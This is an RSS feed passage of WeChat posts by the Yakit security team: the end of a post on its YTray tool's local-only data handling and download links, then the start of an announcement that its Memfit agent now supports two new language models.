style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">五<span textstyle="" style="font-size: 18px;">、</span><span textstyle="" style="font-size: 18px;letter-spacing: 1px;">数据留在本机</span></span></strong></p></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">YTray 不会上传 Cookie、浏览器历史、登录状态、代理凭据或本地插件数据。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">它只会在需要时访问正式版本清单，以及用户主动下载的浏览器、插件和安装包资源。调试服务只监听本机回环地址。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">YTray 也不会修改系统浏览器的名称、签名或默认浏览器设置，它只使用隔离参数启动用户明确选择的浏览器。</span></span></p><h2 style="color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;text-align: justify;font-size: 18px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-weight: bold;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 18px;">六：下载 YTray</span></span></h2><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">YTray 目前支持：</span></span></p><ul style="font-size: 15px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">macOS 14 及以上，Apple Silicon 和 Intel；</span></span></p></li><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">Windows 10 / 11，x64 和 x86。</span></span></p></li></ul><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">官方网站会根据当前设备推荐对应安装包：</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;"><a href="https://yaklang.io/ytray/" target="_blank">https://yaklang.io/ytray/</a></span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">请仅在合法、授权的开发与安全测试场景中使用。</span></span></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="max-width: 100%;box-sizing: border-box;"><div style="box-sizing: border-box;color: rgb(62, 62, 62);max-width: 100%;"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: center;"><div style="display: flex;justify-content: center;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: -10px 0px 0px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);text-align: justify;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 1 auto;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="max-width: 100%;box-sizing: border-box;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">END</span></p></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 15px 0px 0px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 15px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: left;"><div style="max-width: 100%;box-sizing: border-box;"><div style="display: flex;justify-content: flex-start;max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: justify;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 0px 8px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;clear: both;min-height: 1em;"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><p style="list-style-type: disc;max-width: 100%;box-sizing: border-box;"><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span leaf="" style="box-sizing: border-box;">Memfit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统</span></span></p></li></ul><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span leaf="" style="box-sizing: border-box;">Yakit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台</span></span></p></li></ul></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(210, 64, 12);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Yakit官网下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;"><span textstyle="" style="font-size: 13px;">Github地址：</span></span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;">Yakit 视频教程：</span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Memfit下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">YTray下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://yaklang.io/ytray/" target="_blank">https://yaklang.io/ytray/</a></span></p></div></div></div></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046490" data-ratio="0.6018519" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=06fde1f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72H1LSzxhTSzk6TXHScHGoYy6LcxM624GZYiaLwm1dvl4LzOXA51CP4iapdKahXYicractbdnwbjRianLH2YYIpjE0RyTP3VImR4MxY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046489" data-ratio="0.325" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=2a3860a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FjibGAup6p72FmEgQR6QmBicuMYfZ44uLW9MSw0vyoqF9egbK5NqOvtQOD4CTYq9jnaAEHMAL2eaEHA6gqAgzn9HQibf7439FtzZctfUqzY4su0%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=944fdbca&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530142%26idx%3D1%26sn%3D748ccd8d4e8f1b5a193a4b93b1fb2f3a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Aug 2026 17:03:00 +0800</pubDate>
    </item>
    <item>
      <title>牛来，速归！Memfit接入：GLM-5.3；Qwen3.8-Flash</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530123&amp;idx=1&amp;sn=479bf6c20dba87a9a83ac70af777ffc3</link>
      <description>速归！！</description>
      <content:encoded><![CDATA[<p>原创 <span>Yakit</span> <span>2026-08-27 12:43</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e0f6266d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72H3ibotleBW9Y0NdZ17HKPmeHUF1mMnLibVqylSfcct1uCUmG70YsxSe4FkYHSRIfqSdbeRqibzWQbic20AnxwEHODeHktInXIHPZU%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="display: inline-block;max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-s="300,640" data-type="gif" data-w="1079" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046470" src="https://wechat2rss.xlab.app/img-proxy/?k=d6c1c2c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72EZfd2jdOHZah7cNdotbA09iaU0aR9QjkZpjCib6icQvBP0WibZvcddvickW21zCG3XpOkKUevjzWcSocc8GicSRaonNV7as5aiaNxmKI%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="letter-spacing: 1px;padding: 0px 8px;font-size: 15px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="margin: 0px 0px 8px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=f4b1d93b&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2FAddoil.png"/>速归！！</span></p><p style="margin: 0px 0px 8px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf="">昨天更新了两个新模型：</span></p><p style="color: transparent;background-image: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));-webkit-background-clip: text;margin: 0px 0px 8px;white-space: normal;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">GLM-5.3-Flash</span></strong></span><span style="color: rgb(62, 62, 62);box-sizing: border-box;"><span leaf="">（靠混合注意力和 mHC 换推理成本）</span></span></p><p style="color: transparent;background-image: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));-webkit-background-clip: text;margin: 0px 0px 8px;white-space: normal;box-sizing: border-box;"><span style="color: rgb(255, 129, 36);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Qwen3.8-Flash</span></strong></span><span style="color: rgb(62, 62, 62);box-sizing: border-box;"><span leaf="">（靠 GDN+QSA 和 Muon 换训练效率）</span></span></p><p style="margin: 0px 0px 8px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf="">两家都在用“稀疏化”换前沿智能的普惠价格。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">咱这边的Memfit也是速速接入<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=5244a551&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_83%402x.png"/>。</span></p></div><div style="max-width: 100%;display: inline-block;flex: 0 0 auto;align-self: stretch;margin-bottom: 0px;vertical-align: top;box-sizing: border-box;"><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin-bottom: 2px;box-sizing: border-box;"><div style="outline: 0px;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: center;outline: 0px;font-size: 18px;max-width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一、简单说下更新核心：</span></strong></p></div></div></div></div></div></div><div style="font-size: 15px;font-family: PingFangSC-light;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;"><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 